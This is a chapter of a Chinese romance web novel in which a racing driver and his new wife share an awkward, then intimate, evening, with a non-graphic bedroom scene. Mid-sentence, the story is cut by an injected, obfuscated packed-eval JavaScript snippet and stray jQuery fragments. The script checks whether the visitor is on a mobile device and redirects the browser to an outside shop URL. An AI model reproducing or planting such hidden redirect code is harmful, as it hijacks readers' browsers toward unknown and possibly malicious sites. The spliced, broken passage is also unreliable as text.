顾钦野到达赛车训练场的时候,天气热得跑道上的柏油都泛着一层晃眼的光。
他换好装备坐进车里,启动引擎,“嗡嗡嗡”的震响震得他胸腔都在发麻。
前两圈跑得还算顺手,无论是切入弯道还是踩油门出弯,都完成得不错。但从第三圈开始,他就有些分了神。
在入弯的那一瞬间,脑子里忽然闪过一个画面。
是那个女人泛着淡粉的关节和蜷缩的手指。
他甩了甩头,踩油门加速,轰的一声在直道上飚了起来。
风噪盖住了其他所有声音,但脑海里的那个画面挥之不去,始终顽固地定在那儿。
心不在焉地又开了两圈,导致在某个弯道晚了半拍入弯,车身不受控制地往外飘了一点。
顾钦野立马警觉地打了方向盘修正回来。
“嗞——”
轮胎发出短促的摩擦声。
教练的声音从对讲机里传来:“刚才那个弯怎么回事?”
“没事。”顾钦野沉声道,“我准备结束了,你那边准备好。”
今天跑的这几圈都不对味,再怎么跑下去都是白费力气,还不如早点结束收拾情绪。
教练惊讶:“啊,这么快?”
不对啊,这位公子哥一般来赛车训练场,一泡就是一整天,最少也有半天,哪里会跑个四五圈就收工回家的。
但少爷的话不容置疑,他短促地发出疑问后,就立马收拾好情绪吩咐其他工作人员做好少爷的赛车回到维修区和车间的准备。
没一会儿,顾钦野就把车缓缓开进维修区,然后熄了火。
他没有马上下车,而是坐在驾驶座上愣了几秒,回忆了一下今天的训练成果才推门下来。
教练迎上来,试探性问:“今天不练了?”
“不练了。”顾钦野把头盔扔给他,“状态不对。”
说着就往更衣室走。
教练捧着头盔看着他略显烦躁的背影,和旁边的陈正对视一眼,都从对方眼底看到了疑惑。
顾钦野换好衣服从更衣室出来,日头正烈,刚好是吃午饭的时间点。
他想了想,转头就去了常去的一家高级餐厅。
吃了午饭,又买了一些赛车模型的拼装零件才准备开车回家。
启动车子出发前,他用手指敲了敲方向盘,思考着要不要给池鸢发个信息,问问她现在在哪儿,如果在外面的话他可以顺道去接她。
但想想又觉得不太合适。
有什么好问的呢?他们俩的关系还没到需要互相报备行程并且去接对方的程度。而且那天在金悦公馆见面的时候,他是真的觉得这桩婚事烦人。
现在主动去问她在哪儿,总有种自己打了自己脸的感觉。
啧了一声,他把手机随手扔到副驾驶座上,踩了一脚油门。
回到别墅的时候还不到两点。
顾钦野换了身运动装备去了健身房,直接上了跑步机,把速度调到高档,然后埋头沉浸跑步运动中。
人一旦跑起步来,就没心思去管那些有的没有的事。
跑了四十分钟,又做了几组力量才收工。
汗水顺着他的下巴往下滴,紧身训练服贴在身上,勾勒出健硕但不饱满肉感的肌肉线条。
他走出健身房,准备沿着楼梯上到二楼时,正好听见大门那边传来动静。
池鸢两只手都提着大大的纸袋,看起来分量不清。
用肩膀顶开门,侧身挤进来,鞋都没来得及换,先弯腰把手里的东西放在玄关地上。
“呼——累死我了。”
一抬头,就对上了顾钦野俯视的视线。
他站在楼梯台阶上,训练服被汗水浸湿,从肩背往下收紧到腰腹,轮廓清晰到每一块肌肉的走势都看得分明。
池鸢的目光不自觉地往下落了落,刚好停在他腹肌上。
脑海里瞬间跳出来一个画面——
在一片黑暗里,男人的手扣着她的腰把她按下去,而她的手掌刚好撑在男人腹肌上。
那种紧实的触感,清晰得像是刻在了她的脑子里。
热气“腾”地冒上了脸颊。
她慌张地挪开视线,声音不自觉高了些:“你怎么这么快就回来了?”
顾钦野早就注意到了她掠过自己腹肌的那一瞬间目光,似笑非笑地将视线落在她泛着粉红的耳尖上。
嘴角轻轻一勾,语气慵懒:“练好了就回来了呗,倒是你,买的什么东西这么多?”
话里的笑意简直藏不住。
池鸢自然也听出来了,但脸上的热气还没散,干脆不去看他,低头换鞋:“我妈妈陪我逛了逛商场,就随便买了些。”
其实两个纸袋里全是她自担组合的专辑和周边,但此刻她一个字都不想多说。
于是噔噔噔地踩着楼梯与顾钦野擦肩而过跑回了她的追星房。
顾钦野站在原地没动,看着她消失在门后的身影,心想这人还真有点傻,不跟我说买了什么东西,但又匆忙跑进她的追星房,谁还能猜不到买了什么东西?
明明心里在吐槽,嘴角的那点弧度却怎么也压不住。
抹了一把脖子上的汗,顾钦野抬脚继续往主卧的方向走,准备去浴室洗个澡。
周边房里,池鸢正背靠着门,呼哧呼哧地喘着气,脸上的热度一直消不下去,连带着她都没有了要认真拆周边的兴致。
该死的,她是不是单身二十几年然后突然结婚导致性.欲爆发了啊!!!怎么会满脑子都是黄色颜料!!!
天知道她在看到顾钦野腹肌时,差点控制不住吞咽口水。
这种情况她从来没有出现过,哪怕追星去看自担演唱会裸着上半身跳舞她都没有想要吞咽口水想要吃掉什么东西的感觉。
池鸢捂着脸,无声地哀嚎:救命啊——!!!
好在晚餐时,顾钦野没有表现出什么异样的情绪,只是嘴角老挂着不知是什么意味的笑意。
池鸢干脆埋头装鸵鸟,自顾自地扒拉碗里的饭菜,然后吃完就一抹嘴,说句“我先去忙”就跑路了。
顾钦野还没来得及说句话,就只能看到她仓皇跑路的背影,不免若有所思了起来。
吃完晚饭,陈莺就跑到追星房开始拆下午买的那些周边了。
拆到一半,忽然收到了艾玉珂发来的微信消息,问她新婚生活怎么样。她回了一句【还行吧】就扔了手机,继续拆手里的周边。
等她把一本限量版写真塞进展示柜里,低头看了一眼手机屏幕,已经快十一点了。
来不及多想,赶紧关掉追星房的灯,跑回卧室洗澡。
热水冲了没一会儿,她在蒸腾的水汽里听见自己的手机响了,但隔着水声听不真切,便想着等下出去再看。
等她关了水,才发现一个致命的问题——
她忘记拿内.裤和睡裙进来了。
浴巾堪堪裹住身体,池鸢站在原地纠结了好一阵。虽然前天晚上也是裹着浴巾出来,但那时候她穿了内.裤,而且以为顾钦野不在卧室。
现在她没有内.裤,又正好是觉得尴尬的时候,完全没办法若无其事地裹着浴巾出去。
最后实在是没办法,只能把浴室门拉开一条缝,探出头去。
顾钦野坐在卧室窗边的沙发上,腿上放着笔记本电脑,屏幕的光映着他的脸。
听到动静,偏过头,正好看见她只露出脑袋和半边肩膀,不由愣了一下。
“我……我忘记拿内.裤和睡裙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941002|213922||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了。”池鸢的声音闷闷的,脸颊被水蒸气熏得泛着红,“你帮我从衣柜里拿一下。”
顾钦野合上电脑起来,走到她的专属衣柜前拉开柜门。
里面挂着几件睡裙,下面的小抽屉里还放着十几件内.裤。
他下意识撇开视线,但想到池鸢还在等,便重新挪回来,随手抽了一件浅杏色的吊带款睡裙。
直到选内.裤时,搭配强迫症让他有些犯了难,是随便拿一件内.裤呢还是选一件跟手里睡裙同款颜色的内.裤呢?
苦恼之际,池鸢弱弱的声音再次传来:“还、还没好吗?”
顾钦野立马回过神来,遵循自己的心意拿了那件浅杏色的内.裤。
他走到浴室门口,把内.裤和睡裙都递了过去。
池鸢伸出手去接的时候,指尖不经意碰到了他的手指。
浴室里的湿热空气从那道门缝里争先恐后地涌出来,带着一股混合着沐浴露和她体温的香气,跟她昨晚被窝里那股气息一模一样。
顾钦野的瞳孔缩了缩,随即眸光一暗。
浴室门被池鸢关上了。
里面传来悉悉索索的穿衣声。
他站在浴室门外没有立刻走开,手指不自觉地微微蜷了起来。
门重新打开的时候,池鸢穿着那件浅杏色的吊带睡裙站在门后,发尾还滴着水,顺着锁骨往下滑入吊带衣领内。
她见顾钦野还站着不动,疑惑抬眸,正撞上他有些暗沉的目光。
心脏猛然一跳。
两个人隔着不到一步的距离互相看着,都比昨晚清醒得多。
卧室里的灯光照着池鸢湿漉漉的发尾和微微泛红的皮肤,让顾钦野觉得此时的她特别像一个成熟饱满的水蜜桃。
糯糯的,肉肉的,软软的。
他慢慢抬起手,把她耳边那一缕湿发拨到耳后。
动作很轻,但指尖碰到耳廓时,池鸢的睫毛不受控制地颤了一下,如蝴蝶振翅。
她不知道为什么自己没有躲开,但还是一动不动地看着他。
顾钦野往前一步,低下头,带着试探的意味,将嘴唇贴上了她的额头。
唇畔离开的瞬间,他的下巴被什么东西轻轻地刮了一下。
原来是她再次颤抖的眼睫毛。
感觉到池鸢没有拒绝的意思,顾钦野越发大胆了起来,放在她肩膀上的手顺着她的肩线滑下来,揽住了她的腰。
隔着睡裙那层薄薄的布料,男人掌心的温度烫得池鸢腰侧一紧。
“可以吗?”他的声音低低的,几乎是贴着她的耳廓询问。
池鸢此时什么话都说不出来了,只能轻轻抬眼看她。
这一眼,水润朦胧。
顾钦野呼吸一粗,用力将她往怀里搂住,嘴唇再次覆上来时力度明显不受控制地变重了许多。
池鸢仰着头,被迫承受他的亲吻。
膝盖一软,整个人往下滑了滑,被他一把捞起来。
后来的事变得模糊又清晰。
他把她抱到床上的动作比上一次熟练了许多。
吻从唇边一路移到耳后,在她耳垂上碾了一下。
她的身体绷紧了,又软下来了。
浴室里没散尽的热气仿佛蔓延到了整间卧室,空气潮湿而黏稠。
她紧紧地抱住他的肩膀,只觉得又胀又酸。
模糊的意识里只剩下彼此的温度和重量,时间的流逝变得不太真切了。
直到一切平息下来,池鸢趴在枕头上,眼皮半阖着,汗湿的发丝黏在脸侧。
顾钦野从身后抱住了她,下巴抵在她的肩膀窝里。
他没有说话,呼吸也在慢慢地平稳下来。
池鸢闭着眼,睡意终于漫了上来。